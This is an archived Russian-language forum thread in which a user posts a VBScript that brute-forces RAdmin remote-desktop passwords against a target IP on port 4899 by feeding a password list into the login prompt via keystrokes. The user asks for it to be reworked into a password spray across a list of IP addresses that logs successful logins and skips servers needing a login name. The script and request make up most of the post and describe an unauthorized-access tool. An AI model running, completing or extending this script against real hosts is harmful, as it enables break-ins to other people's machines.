VBS/WSH/JS - Скрипт перебора IP для RAdmin

Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета.

Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен

Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме.

С уважением, ваш призрачный админ, BigMac...

VBS/WSH/JS - Скрипт перебора IP для RAdmin

falcon92

Новый участник

Сообщения: 30
Благодарности: 0

Профиль | Отправить PM | Цитировать

ПреВедСтВуЙу Всех..

Ищу знатоков vbs, т.к. чисто лень разбираться с языком....
Вот скрипт для вставки одного IP и листа пассов.
Мне надо, чтобы вставляешь Лист Аипишнегов и один Пасс. К примеру 12345678
Лист ИПишнеГоФф собственно свой.

P.S Желательно с выводов в GOODофф в файл..
P.P.S Желательно, чтобы игнорил сервы 3ей версии (Т.к. там идет вставка LOGIN, иногда DOMAIN)

Цитата:

Set objShell = CreateObject("Wsсriрt.Shell")

intValue = InputBox("Please Enter Your Target IP:")
strCommandLine = intValue

Set cmd = CreateObject("Wsсriрt.Shell")
If Wsсriрt.Arguments(0) = "" Then
Wsсriрt.Echo "usage: csсriрt vbsFile.vbs <yourtxtfile>"
Else
Set fso = CreateObject("sсriрting.FileSystemObject")
Filename = Wsсriрt.Arguments(0)

If fso.FileExists(Filename) Then
Set objTextFile = fso.OpenTextFile(Filename,1)
Wsсriрt.Sleep 2000
Do Until objTextFile.AtEndOfStream
line = objTextFile.Readline

Wsсriрt.Echo "[+] Attacking " & intValue & "....... " & line
Wsсriрt.Sleep 500
set WshShell = Wsсriрt.CreateObject("Wsсriрt.Shell")
WshShell.Run "radmin.exe /connect:" & intValue & ":4899 /telnet"
Wsсriрt.Sleep 500
WshShell.AppActivate "Enter password for <Entry name>"
WshShell.SendKeys line
Wsсriрt.Sleep 500
WshShell.SendKeys "{ENTER}"
Wsсriрt.Sleep 200
WshShell.SendKeys "{ENTER}"

loop
objTextFile.Close
Else
Wsсriрt.Echo Filename & "does not exists"
End If
End If

Вроде не сложно )) ПЛЗ Прохелпите )) Тут вроде пару строк сменить. Мне уже пошарить по мускулам на сегодня хватило :/// нИаСиЛил

With *.* иЗвиНиТЕ зА НеРоВНый ПочЕРк! (c)

-------
Я решил сделать вот что: притвориться глухонемым.

Отправлено: 21:17, 10-08-2009